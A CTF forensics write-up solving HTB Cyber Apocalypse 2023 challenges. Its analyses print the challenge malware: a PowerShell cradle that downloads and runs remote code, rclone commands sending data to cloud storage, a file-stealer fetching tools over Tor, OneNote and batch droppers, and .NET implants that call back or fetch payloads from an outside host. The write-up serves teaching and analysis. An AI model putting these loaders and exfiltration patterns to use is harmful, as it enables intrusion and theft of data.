forensicskween

HTB Cyber Apocalypse 2023: Forensics

My writeups for the HTB 2023 Cyber Apocalypse CTF. Full solver codes can be found on my github 🙂

Information

There were 10 Forensics challenges in the CTF.

Challenges

Plaintext Treasure

Difficulty: very easy
Description: Threat intelligence has found that the aliens operate through a command and control server hosted on their infrastructure. Pandora managed to penetrate their defenses and have access to their internal network. Because their server uses HTTP, Pandora captured the network traffic to steal the server’s administrator credentials. Open the provided file using Wireshark, and locate the username and password of the admin.
The file is a pcap, and honestly, it was as simple as running strings on it…
				
					strings files/capture.pcap | grep -i htb
#HTB{th3s3_4l13ns_st1ll_us3_HTTP}
				
			

Flag: HTB{th3s3_4l13ns_st1ll_us3_HTTP}

Alien Cradle

Difficulty: very easy
Description: In an attempt for the aliens to find more information about the relic, they launched an attack targeting Pandora’s close friends and partners that may know any secret information about it. During a recent incident believed to be operated by them, Pandora located a weird PowerShell script from the event logs, otherwise called PowerShell cradle. These scripts are usually used to download and execute the next stage of the attack. However, it seems obfuscated, and Pandora cannot understand it. Can you help her deobfuscate it?
The file is ps1 script, which in plaintext gives:
				
					if([System.Security.Principal.WindowsIdentity]::GetCurrent().Name -ne 'secret_HQ\Arth'){exit};$w = New-Object net.webclient;$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;$d = $w.DownloadString('http://windowsliveupdater.com/updates/33' + '96f3bf5a605cc4' + '1bd0d6e229148' + '2a5/2_34122.gzip.b64');$s = New-Object IO.MemoryStream(,[Convert]::FromBase64String($d));$f = 'H' + 'T' + 'B' + '{p0w3rs' + 'h3ll' + '_Cr4d' + 'l3s_c4n_g3t' + '_th' + '3_j0b_d' + '0n3}';IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
				
			

It’s not super hard to see that the flag is right here in plain sight. Just pasting the following string in a Python console returns the flag:

				
					('H' + 'T' + 'B' + '{p0w3rs' + 'h3ll' + '_Cr4d' + 'l3s_c4n_g3t' + '_th' + '3_j0b_d' + '0n3}')
#'HTB{p0w3rsh3ll_Cr4dl3s_c4n_g3t_th3_j0b_d0n3}'
				
			

Flag: HTB{p0w3rsh3ll_Cr4dl3s_c4n_g3t_th3_j0b_d0n3}

Rotten

Difficulty: easy
Description: The iMoS is responsible for collecting and analyzing targeting data across various galaxies. The data is collected through their webserver, which is accessible to authorized personnel only. However, the iMoS suspects that their webserver has been compromised, and they are unable to locate the source of the breach. They suspect that some kind of shell has been uploaded, but they are unable to find it. The iMoS have provided you with some network data to analyse, its up to you to save us.

This is a quite large PCAP with looooads of packets, specifically HTTP ones. Towards the end, we can see some privilege escalation, as there is evidence some sort of reverse shell was uploaded since the attacker was able to get results for commands such as ‘ls‘ and whoami. Our task, then, is to find, how and where this backdoor is.

The whoami packet, is in packet 18504. Logically, the shell would have been uploaded using a POST method, so we can filter for ‘http.request.method == ‘POST’‘ in Wireshark. This gives us 9 packets. Two of them are PDFs, which I dissected and found nothing.  I as convinced this was a PDF javascript exploit :(. The other ones are very small, but there is one x-php packet, in frame 1929. It’s an obfuscated PHP Script.

I like to use a sandbox to quickly look at obfuscated code. By replacing the last call ‘eval’, with ‘echo’, we get the fully deobfuscated code and the flag!

 

Flag: HTB{W0w_ROt_A_DaY}

Packet Cyclone

Difficulty: easy

Description: Pandora’s friend and partner, Wade, is the one that leads the investigation into the relic’s location. Recently, he noticed some weird traffic coming from his host. That led him to believe that his host was compromised. After a quick investigation, his fear was confirmed. Pandora tries now to see if the attacker caused the suspicious traffic during the exfiltration phase. Pandora believes that the malicious actor used rclone to exfiltrate Wade’s research to the cloud. Using the tool called “chainsaw” and the sigma rules provided, can you detect the usage of rclone from the event logs produced by Sysmon? To get the flag, you need to start and connect to the docker service and answer all the questions correctly.

The zip file contains the contents of Windows\System32\winevt\Logs directory, and a folder of sigma_rules. My favourite way to do this, is to use this tool.  I run it on all files in the Logs directory, which makes it easier to look for stuff.

				
					mkdir output
find 'Logs' -name "*.evtx" -size +69k -print0 | while read -d $'\0' file
do dumpevtx parse "${file}" --output="${file}.txt" 2>/dev/null
   mv "${file}.txt" output/
done
				
			

The description specifically mentions event logs related to rclone, and we need to connect to the docker service in order to get the flag. So, in another shell bash:

1. What is the email of the attacker used for the exfiltration process? (for example: name@email.com)

To find that, we can use grep and search for email values in the Sysmon event log

				
					cat 'Microsoft-Windows-Sysmon%4Operational.evtx.txt' | grep -F '@'
#returns "CommandLine": "\"C:\\Users\\wade\\AppData\\Local\\Temp\\rclone-v1.61.1-windows-amd64\\rclone.exe\" config create remote mega user majmeret@protonmail.com pass FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI",
				
			

Answer: majmeret@protonmail.com

2. What is the password of the attacker used for the exfiltration process?

In the same output as above, we see that the pass is FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI

3. What is the Cloud storage provider used by the attacker?

Still in the same output as question 1, the commandline shows that rclone is creating remote mega user.

4. What is the ID of the process used by the attackers to configure their tool?

To find the PID, we just need to look further up that specific command:

				
					cat 'Microsoft-Windows-Sysmon%4Operational.evtx.txt' | grep -F '@' -B 50 -A 50
				
			
				
					"EventData": {
   "RuleName": "-",
   "UtcTime": "2023-02-24 15:35:07.336",
   "ProcessGuid": "10DA3E43-D92B-63F8-B100-000000000900",
   "ProcessId": 3820,
   "Image": "C:\\Users\\wade\\AppData\\Local\\Temp\\rclone-v1.61.1-windows-amd64\\rclone.exe",
   "FileVersion": "1.61.1",
   "Description": "Rsync for cloud storage",
   "Product": "Rclone",
   "Company": "https://rclone.org",
   "OriginalFileName": "rclone.exe",
"CommandLine": "\"C:\\Users\\wade\\AppData\\Local\\Temp\\rclone-v1.61.1-windows-amd64\\rclone.exe\" config create remote mega user majmeret@protonmail.com pass FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI",
   "CurrentDirectory": "C:\\Users\\wade\\AppData\\Local\\Temp\\rclone-v1.61.1-windows-amd64\\",
   "User": "DESKTOP-UTDHED2\\wade",
   "LogonGuid": "10DA3E43-D892-63F8-4B6D-030000000000",
   "LogonId": 224587,
   "TerminalSessionId": 1,
   "IntegrityLevel": "Medium",
   "Hashes": "SHA256=E94901809FF7CC5168C1E857D4AC9CBB339CA1F6E21DCCE95DFB8E28DF799961",
   "ParentProcessGuid": "10DA3E43-D8D2-63F8-9B00-000000000900",
   "ParentProcessId": 5888,
   "ParentImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
   "ParentCommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" ",
   "ParentUser": "DESKTOP-UTDHED2\\wade"
  },
				
			

the PID is 3820

5. What is the name of the folder the attacker exfiltrated; provide the full path.
				
					grep -F 'rclone.exe' * 
#"CommandLine": "\"C:\\Users\\wade\\AppData\\Local\\Temp\\rclone-v1.61.1-windows-amd64\\rclone.exe\" copy C:\\Users\\Wade\\Desktop\\Relic_location\\ remote:exfiltration -v"
				
			

The exfiltrated directory, is the one being copied, which is C:\Users\Wade\Desktop\Relic_location

6. What is the name of the folder the attacker exfiltrated the files to?

In the output above, we see that the destination is remote:exfiltration, so the name of the folder is exfiltration.

Finally, we get the flag, which is

Flag: HTB{3v3n_3xtr4t3rr3str14l_B31nGs_us3_Rcl0n3_n0w4d4ys}

Artifacts of Dangerous Sightings

Difficulty: medium

Description: Pandora has been using her computer to uncover the secrets of the elusive relic. She has been relentlessly scouring through all the reports of its sightings. However, upon returning from a quick coffee break, her heart races as she notices the Windows Event Viewer tab open on the Security log. This is so strange! Immediately taking control of the situation she pulls out the network cable, takes a snapshot of her machine and shuts it down. She is determined to uncover who could be trying to sabotage her research, and the only way to do that is by diving deep down and following all traces …

The provided file, 2023-03-09T132449_PANDORA.vhdx, is a Windows-formatted Virtual Hard Disk. In Linux, we can mount it like this:

				
					sudo rmmod nbd
sudo modprobe nbd max_part=16
sudo qemu-nbd -c /dev/nbd0  2023-03-09T132449_PANDORA.vhdx
sudo mount -t ntfs -o loop,ro,show_sys_files,stream_interface=windows /dev/nbd0p1 /mnt/Windows/
				
			

So supposedly, Pandora found weird things in the security log. We can use dumpevtx  to parse the file and see if anything interesting comes up. I checked the file for a bunch of string, and found something intersting related to powershell:

				
					dumpevtx parse /mnt/Windows/C/Windows/System32/winevt/logs/Security.evtx > Security.txt
cat Security.txt | grep -i power
#"CommandLine": "sc  create WindowssTask binPath= \"\\\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\\\" -ep bypass - \u003c C:\\Windows\\Tasks\\ActiveSyncProvider.dll:hidden.ps1\" DisplayName= \"WindowssTask\" start= auto"
				
			

The script hidden.ps1 is being executed as a Task. HOWEVER, the powershell logs are empty, so we can check if ConsoleHost_history.txt file exits

				
					find /mnt/Windows/C/Users -name 'ConsoleHost_history.txt'
#/mnt/Windows/C/Users/Pandora/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
cat /mnt/Windows/C/Users/Pandora/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
				
			

And this is the output, so the ‘finpayload’ was injected to ActiveSyncProvider.dll, and then all the PowerShell logs were deleted 🥲.

				
					type finpayload > C:\Windows\Tasks\ActiveSyncProvider.dll:hidden.ps1
exit
Get-WinEvent
Get-EventLog -List
wevtutil.exe cl "Windows PowerShell" 
wevtutil.exe cl Microsoft-Windows-PowerShell/Operational
Remove-EventLog -LogName "Windows PowerShell"
Remove-EventLog -LogName Microsoft-Windows-PowerShell/Operational
Remove-EventLog
				
			

We can copy ActiveSyncProvider.dll to our working directory and try to extract the Powershell script.

				
					cp /mnt/Windows/C/Windows/Tasks/ActiveSyncProvider.dll . 
				
			

I tried a bunch of things, until I realized that I had to execute stuff on the file in the mount point directly, since it’s an alternate data stream. Hidden.ps1 contains a huge base64 encoded command, which I copy in my shell and directly decode, but some of the strings fail to decode properly. Eventually, I found that decoding the string in powershell, and saving it as an array is best for ‘preservation’ and limits the corruption of the data.

				
					cat /mnt/Windows/C/Windows/Tasks/ActiveSyncProvider.dll:hidden.ps1 > hidden.ps1 

#in pwsh
$file = "hidden.ps1"
[System.Convert]::FromBase64String((Get-Content $file)) | Set-Content output.bin 
				
			

Then, I decode it in python, before re-parsing it in powershell :))))

				
					fp = open('output.bin').readlines()
fp = [int(i.strip()) for i in fp if int(i.strip()) != 0]

with open('dec.ps1','wb') as of:
 of.write(bytes(fp))

				
			

The file is a PAINFUL obfuscated script 😭. The last part of the line (since there’s only one super long line lol ) has ‘|’, so I wonder if I copy the part without ‘|’, set it as a variable, and try to echo it in powershell. IT does work, but it returns a bunch of ‘[Char]’ + integer . So, we must decode it again. I copy paste everything until the last ‘|’, and this time, I get the code, and flag !

				
					function makePass
{
    $alph=@();
    65..90|foreach-object{$alph+=[char]$_};
    $num=@();
    48..57|foreach-object{$num+=[char]$_};
    
    $res = $num + $alph | Sort-Object {Get-Random};
    $res = $res -join '';
    return $res; 
}

function makeFileList
{
    $files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php;
    $List = $files -split '\r';
    return $List;
}

function compress($Pass)
{
    $tmp = $env:TEMP;
    $s = 'https://relic-reclamation-anonymous.alien:1337/prog/';
    $link_7zdll = $s + '7z.dll';
    $link_7zexe = $s + '7z.exe';
    
    $7zdll = '"'+$tmp+'\7z.dll"';
    $7zexe = '"'+$tmp+'\7z.exe"';
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll;
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe;
    
    $argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php';

    $argOut = 'Desktop\AllYourRelikResearchHahaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString();
    $argPass = '-p' + $Pass;

    Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'\7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop;
}

$Pass = makePass;
$fileList = @(makeFileList);
$fileResult = makeFileListTable $fileList;
compress $Pass;
$TopSecretCodeToDisableScript = "HTB{Y0U_C4nt_St0p_Th3_Alli4nc3}"


				
			

Flag: HTB{Y0U_C4nt_St0p_Th3_Alli4nc3}

Relic Maps

Difficulty: medium

Description: Pandora received an email with a link claiming to have information about the location of the relic and attached ancient city maps, but something seems off about it. Could it be rivals trying to send her off on a distraction? Or worse, could they be trying to hack her systems to get what she knows?Investigate the given attachment and figure out what’s going on and get the flag. The link is to http://relicmaps.htb:/relicmaps.one. The document is still live (relicmaps.htb should resolve to your docker instance).

File Analysis

The file is a one.note file, but I didn’t actually know that lol. What I did check the file with strings:

				
					strings relicmaps.one | grep -i htb

ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/uploads/soft/topsecret-maps.one -OutFile $env:tmp\tsmap.one; Start-Process -Filepath $env:tmp\tsmap.one"
    ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/get/DdAbds/window.bat -OutFile $env:tmp\system32.bat; Start-Process -Filepath $env:tmp\system32.bat"
				
			

There are two files that get downloaded, at least, from my understanding. We can download them, and check them out. The bat script is definitely the more suspicious one of the two, so we can check it out. It’s basically a file with different variables that are ‘set’. We have:

– eFlP
– VhIy
– eUFw

Then, the whole things get evaled?executed? no clue. For now, I used python to parse the file as a dict, because it was obvious that the ‘sets’ act as dictionaries.

				
					with open('windows.bat','rb') as inf:
	data = inf.readlines()

data = [i.strip() for i in data]
sets = [b'%eFlP%"', b'%VhIy%"', b'%eUFw%"']

def parse_to_dict(data, sets):
	dictout = {}
	for setid in sets:
		new_dat = [i for i in data if i[0:7] == setid]
		keys = [i[7:17].decode() for i in new_dat]
		vals=[i[18:].replace(b'"',b'').decode() for i in new_dat]
		dictout.update(dict(zip(keys, vals)))
	return dictout

dict_out = parse_to_dict(data, sets)
				
			
After creating the dictionary, now we can parse the eval strings and map them to the dictionary:
				
					not_sets = [i for i in data if i[0:7] not in sets]
in_string = not_sets[4].decode()
eval_strings = [i.decode() for i in not_sets if b'%' in i]

def parse_eval(eval_strings):
	evaled_=[]
	for eval_string in eval_strings:
		evaled = [dict_out[i] for i in eval_string.split('%') if i != '']
		evaled_.append(''.join(evaled))
	return evaled_

commands = parse_eval(eval_strings)
[print(i) for i in commands]
				
			

Command 1 and Command 2 are nothing special, they copy powershell.exe as a new file, %~0.exe, and move into directory %~dp0.

				
					copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y %~0.exe
cd %~dp0
				
			

Command 3, is more interesting:

				
					print(commands[2].replace(';','\n'))

%~nx0.exe -noprofile -windowstyle hidden -ep bypass -command $eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join
'')('%~f0').Split([Environment]::NewLine)
foreach ($YiLGW in $eIfqq) { if ($YiLGW.StartsWith(':: ')) {  $VuGcO = $YiLGW.Substring(3)
 break
 }
 }
$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO)
$BacUA = New-Object System.Security.Cryptography.AesManaged
$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC
$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=')
$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==')
$Nlgap = $BacUA.CreateDecryptor()
$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length)
$Nlgap.Dispose()
$BacUA.Dispose()
$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm)
$bTMLk = New-Object System.IO.MemoryStream
$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress)
$NVPbn.CopyTo($bTMLk)
$NVPbn.Dispose()
$mNKMr.Dispose()
$bTMLk.Dispose()
$uZOcm = $bTMLk.ToArray()
$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm)
$PtfdQ = $gDBNO.EntryPoint
$PtfdQ.Invoke($null, (, [string[]] ('%*')))
				
			

What happens is that, first, the script searches for the ‘in_string’, since it starts with ‘::’. Then, it decodes it from Base64, and decrypts it with AES, using a defined key and iv. It then decompresses the file, and loads it in assembly. I’m assuming it’s a shellcode!

				
					import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import gzip 

enc = base64.b64decode(in_string[3:])
key = base64.b64decode('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=')
iv = base64.b64decode('2hn/J717js1MwdbbqMn7Lw==')
cipher = AES.new(key,AES.MODE_CBC, iv)
dec = unpad(cipher.decrypt(enc),16)
decompressed = gzip.decompress(dec)

with open('out.exe','wb') as outfile:
 outfile.write(decompressed)
				
			

Executable Analysis

Checking it with pedump, the file is a .Net assembly, and is actually called ‘RelicMaps.exe’.

We can dump its contents with ilspycmd:

				
					mkdir relics
ilspycmd -o relics -p out.exe
				
			

Then, by checking the Program.cs of RelicMaps, we find the flag!

 

				
					using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Security.Cryptography;
using System.Text;

namespace RelicMaps
{
	internal class Program
	{
		private static void Main(string[] args)
		{
			//IL_00e9: Unknown result type (might be due to invalid IL or missing references)
			//IL_00f3: Expected O, but got Unknown
			//IL_012b: Unknown result type (might be due to invalid IL or missing references)
			IPAddress val = Enumerable.FirstOrDefault<IPAddress>((IEnumerable<IPAddress>)Dns.GetHostAddresses(Dns.GetHostName()), (Func<IPAddress, bool>)((IPAddress ip) => (int)ip.get_AddressFamily() == 2));
			string machineName = Environment.MachineName;
			string userName = Environment.UserName;
			DateTime now = DateTime.Now;
			string text = "HTB{0neN0Te?_iT'5_4_tr4P!}";
			string s = $"i={val}&n={machineName}&u={userName}&t={now}&f={text}";
			Aes obj = Aes.Create("AES");
			((SymmetricAlgorithm)obj).set_Mode((CipherMode)1);
			((SymmetricAlgorithm)obj).set_Key(Convert.FromBase64String("B63PbsPUm3dMyO03Cc2lYNT2oUNbzIHBNc5LM5Epp6I="));
			((SymmetricAlgorithm)obj).set_IV(Convert.FromBase64String("dgB58uwgaohVelj4Xhs7RQ=="));
			((SymmetricAlgorithm)obj).set_Padding((PaddingMode)2);
			ICryptoTransform obj2 = ((SymmetricAlgorithm)obj).CreateEncryptor();
			byte[] bytes = Encoding.UTF8.GetBytes(s);
			string text2 = Convert.ToBase64String(obj2.TransformFinalBlock(bytes, 0, bytes.Length));
			Console.WriteLine(text2);
			HttpClient httpClient = new HttpClient();
			HttpRequestMessage httpRequestMessage = new HttpRequestMessage
			{
				RequestUri = new Uri("http://relicmaps.htb/callback"),
				Method = HttpMethod.Post,
				Content = new StringContent(text2, Encoding.UTF8, "application/json")
			};
			Console.WriteLine((object)httpRequestMessage);
			HttpResponseMessage result = httpClient.SendAsync(httpRequestMessage).Result;
			Console.WriteLine((object)result.StatusCode);
			Console.WriteLine(result.Content.ReadAsStringAsync().Result);
		}
	}
}
				
			

Flag: HTB{0neN0Te?_iT’5_4_tr4P!}

Bashic Ransomware

Difficulty: hard

Description: The aliens are gathering their best malware developers to stop Pandora from using the relic to her advantage. They relieved their ancient ransomware techniques hidden for years in ancient tombs of their ancestors. The developed ransomware has now infected Linux servers known to be used by Pandora. The ransom is the relic. If Pandora returns the relic, then her files will be decrypted. Can you help Pandora decrypt her files and save the relic?

File Analysis

There are four files that are provided:

– flag.txt.a59ap
– linux-image-5.10.0-21.zip
– forensics.mem
– traffic.pcap

linux-image-5.10.0-21.zip is the Volatility Profile, which is in Json, meaning, we need to use Volatility3.

1. Traffic.pcap

Looking into it, it only contains 12 HTTP packets, with one file ‘Kxr43fMD9t.manifest’, that was downloaded. We can use the Export Objects → HTTP option to save the file. This file is Base64 encoded. Its output is really long, so I will load it in python instead.

2. Ransomware Analysis

				
					cat Kxr43fMD9t.manifest | base64 -d | tr ';' '\n'
#The last two lines are calls to eval:
#x=$(eval "$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp")
#eval "$N0q$x$Hc2$rQW"
				
			

So I’ll just leave them out of python to avoid issues, and clean up the file to load it in python

				
					cat Kxr43fMD9t.manifest | base64 -d | tr ';' '\n' | wc -l 
#get number of lines - 26
cat Kxr43fMD9t.manifest | base64 -d | tr ';' '\n' | head -n 24 | sed 's/"/"""/g' > vals.py
#format the quotation marks to avoid errors
				
			

Now, in python:

				
					from vals import *
x =  "Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp"
x = x.replace('$','+')
x = eval(x)
y = "N0q$x$Hc2$rQW".replace('$','+')
eval(y)
				
			

So this script echoes a base64 encoded text, reverses it, and then base64 decodes it. We can do that in python ourselves.

				
					import base64
to_dec =s[2:-6]
dec = base64.b64decode(to_dec[::-1])

				
			

This time, it’s a bash script, which I’m guessing is the ransomware in question.

1. uFMHx73AXNF6CTsbtzYM

decodes a base64 encoded string and imports as a key in GPG, saves it as ‘RansomKey’.

2. MMYPE1MNIGuGPBmyCUo6

Takes a random string of 16 bytes, and uses it as a private key, the posts the data to a reverse PHP shell. Then, for all files in the directory, it encrypts it with GPG using the random string.

What we need to do, is recover this private key from the memory dump. And, guess what! There’s a specific plugin, for Linux memory dumps, that searches for GPG keys!

3. Memory Dump Analysis

This is the plugin  required. We need to copy both the plugin, and Json profile to Volatility3’s path:

				
					7z x linux-image-5.10.0-21.zip
sudo cp linux-image-5.10.0-21.json /usr/local/lib/python3.8/dist-packages/volatility3/symbols/linux/

git clone https://github.com/kudelskisecurity/volatility-gpg
sudo cp volatility-gpg/linux/* /usr/local/lib/python3.8/dist-packages/volatility3/plugins/linux/
				
			

Now, we can use both plugins to see if something is recovered:

				
					vol3 -f forensics.mem linux.gpg_full.GPGItem
              
Offset	Private key	Secret size	Plaintext
Searching from 24 Mar 2023 04:47:17 UTC to 12 Sep 2023 06:06:55 UTC

0x7f96f0002038	86246ef7da91e80ac9f1587bf8d93e76	32	wJ5kENwyu8amx2RM
0x7f96f0002038	86246ef7da91e80ac9f1587bf8d93e76	32	wJ5kENwyu8amx2RM

vol3 -f forensics.mem linux.gpg_partial.GPGPassphrase
#nothing
				
			

So we found our secret key! I’m super unfamiliar with GPG, so I’m going to try to do this whole thing without using the command line, but in Python.

				
					import gnupg
import base64 

key = '' #paste the key from the decrypted manifest file
key = base64.b64decode(key)
passphrase = 'wJ5kENwyu8amx2RM'
encfile = open('flag.txt.a59ap','rb').read()

gpg = gnupg.GPG()
import_result = gpg.import_keys(key)
decrypted_data = gpg.decrypt(encfile,passphrase=passphrase)
print(decrypted_data._as_text())
#HTB{n0_n33d_t0_r3turn_th3_r3l1c_1_gu3ss}
				
			

Flag: HTB{n0_n33d_t0_r3turn_th3_r3l1c_1_gu3ss}

Interstellar C2

Difficulty: hard

Description: We noticed some interesting traffic coming from outer space. An unknown group is using a Command and Control server. After an exhaustive investigation, we discovered they had infected multiple scientists from Pandora’s private research lab. Valuable research is at risk. Can you find out how the server works and retrieve what was stolen?

File Analysis

When dealing with PCAP, specifically C2 related stuff, the first thing I do is open the file in Wireshark and select ‘Export Objects —> HTTP’. This shows all the HTTP packets in the capture:

Two octet-streams, one html file with a different name, and the rest all have the same name, giving strooong c2 energy. First things first, let’s look at the executables, we can export them both by using the ‘save’ option in the Export HTTP objects window. 

1. vn84.ps1

wohooo a powershell encrypted script. Alright, to quickly parse it, I use a Linux VM that has pwsh installed.

 

				
					.("{1}{0}{2}" -f'T','Set-i','em') ('vAriA'+'ble'+':q'+'L'+'z0so')  ( [tYpe]("{0}{1}{2}{3}" -F'SySTEM.i','o.Fi','lE','mode')) ;  &("{0}{2}{1}" -f'set-Vari','E','ABL') l60Yu3  ( [tYPe]("{7}{0}{5}{4}{3}{1}{2}{6}"-F'm.','ph','Y.ae','A','TY.crypTOgR','SeCuRi','S','sYSte'));  .("{0}{2}{1}{3}" -f 'Set-V','i','AR','aBle')  BI34  (  [TyPE]("{4}{7}{0}{1}{3}{2}{8}{5}{10}{6}{9}" -f 'TEm.secU','R','Y.CrY','IT','s','Y.','D','yS','pTogrAPH','E','CrypTOSTReAmmo'));  ${U`Rl} = ("{0}{4}{1}{5}{8}{6}{2}{7}{9}{3}"-f 'htt','4f0','53-41ab-938','d8e51','p://64.226.84.200/9497','8','58','a-ae1bd8','-','6')
${P`TF} = "$env:temp\94974f08-5853-41ab-938a-ae1bd86d8e51"
.("{2}{1}{3}{0}"-f'ule','M','Import-','od') ("{2}{0}{3}{1}"-f 'r','fer','BitsT','ans')
.("{4}{5}{3}{1}{2}{0}"-f'r','-BitsT','ransfe','t','S','tar') -Source ${u`Rl} -Destination ${p`Tf}
${Fs} = &("{1}{0}{2}" -f 'w-Ob','Ne','ject') ("{1}{2}{0}"-f 'eam','IO.','FileStr')(${p`Tf},  ( &("{3}{1}{0}{2}" -f'lDIt','hi','eM','c')  ('VAria'+'blE'+':Q'+'L'+'z0sO')).VALue::"oP`eN")
${MS} = .("{3}{1}{0}{2}"-f'c','je','t','New-Ob') ("{5}{3}{0}{2}{4}{1}" -f'O.Memor','eam','y','stem.I','Str','Sy');
${a`es} =   (&('GI')  VARiaBLe:l60Yu3).VAluE::("{1}{0}" -f'reate','C').Invoke()
${a`Es}."KE`Y`sIZE" = 128
${K`EY} = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)
${iv} = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)
${a`ES}."K`EY" = ${K`EY}
${A`es}."i`V" = ${i`V}
${cS} = .("{1}{0}{2}"-f'e','N','w-Object') ("{4}{6}{2}{9}{1}{10}{0}{5}{8}{3}{7}" -f 'phy.Crypto','ptogr','ecuri','rea','Syste','S','m.S','m','t','ty.Cry','a')(${m`S}, ${a`Es}.("{0}{3}{2}{1}" -f'Cre','or','pt','ateDecry').Invoke(),   (&("{1}{2}{0}"-f 'ARIaBLE','Ge','T-V')  bI34  -VaLue )::"W`RItE");
${f`s}.("{1}{0}"-f 'To','Copy').Invoke(${Cs})
${d`ecD} = ${M`s}.("{0}{1}{2}"-f'T','oAr','ray').Invoke()
${C`S}.("{1}{0}"-f 'te','Wri').Invoke(${d`ECD}, 0, ${d`ECd}."LENg`TH");
${D`eCd} | .("{2}{3}{1}{0}" -f'ent','t-Cont','S','e') -Path "$env:temp\tmp7102591.exe" -Encoding ("{1}{0}"-f 'yte','B')
& "$env:temp\tmp7102591.exe"
				
			

I’m not going to go deep into the deobfuscation, because it seems pretty obvious. The script calls for downloading the file 94974f08-5853-41ab-938a-ae1bd86d8e51, which is the second executable file in the pcap. Then, it sets a Key and IV and decrypts the file into tmp7102591.exe. Our first task is to decrypt this specific file to be able to reverse it, and get more information. The Key and IV are not obfuscated, so we can quickly decrypt it in Python:

				
					from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

key = bytes([0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0])
iv = bytes([0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1])

with open('94974f08-5853-41ab-938a-ae1bd86d8e51','rb') as f:
	enc_data = f.read()

cipher = AES.new(key,AES.MODE_CBC,iv)
dec = unpad(cipher.decrypt(enc_data),16)

with open('tmp7102591.exe','wb') as of:
	of.write(dec)
				
			

Back to the working directory, executing file on the decrypted executable returns Intel 80386 Mono/.Net assembly. This means we can unpack it with ilspycmd and read the source code.

				
					mkdir tmp7102591
ilspycmd -o tmp7102591 -p tmp7102591.exe
				
			


Now, we need to understand the mechanism of the executable before going any further.

2. tmp7102591.exe

There is only one file Program.cs, which should be enough to understand the mechanism. There are two internal classes to the public class Program:

– UrlGen
– ImgGen

The function Main calls Sharp (of course…) which initiates the whole thing by calling the function primer. Function primer does a bunch of things, and eventually runs ImplantCore, which I believe, is the heart of the C2 channel.

1. Primer

This is a modified version of the code, basically summarizes the key points of the function:

				
					key = "DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc="
text3="http://64.226.84.200:8080"
text5 = text3 + "/Kettie/Emmie/Anni?Theda=Merrilee?c"
enc = GetWebRequest(Encryption(key, un)).DownloadString(text5)
text2 = Decryption(key, enc)

Regex val = new Regex("RANDOMURI19901(.*)10991IRUMODNAR");
Match val2 = val.Match(text2);
string randomURI = ((object)val2.get_Groups().get_Item(1)).ToString();
val = new Regex("URLS10484390243(.*)34209348401SLRU");
val2 = val.Match(text2);
string stringURLS = ((object)val2.get_Groups().get_Item(1)).ToString();
val = new Regex("KILLDATE1665(.*)5661ETADLLIK");
val2 = val.Match(text2);
string killDate = ((object)val2.get_Groups().get_Item(1)).ToString();
val = new Regex("SLEEP98001(.*)10089PEELS");
val2 = val.Match(text2);
string sleep = ((object)val2.get_Groups().get_Item(1)).ToString();
val = new Regex("JITTER2025(.*)5202RETTIJ");
val2 = val.Match(text2);
string jitter = ((object)val2.get_Groups().get_Item(1)).ToString();
val = new Regex("NEWKEY8839394(.*)4939388YEKWEN");
val2 = val.Match(text2);
string key2 = ((object)val2.get_Groups().get_Item(1)).ToString();
val = new Regex("IMGS19459394(.*)49395491SGMI");
val2 = val.Match(text2);
string stringIMGS = ((object)val2.get_Groups().get_Item(1)).ToString()
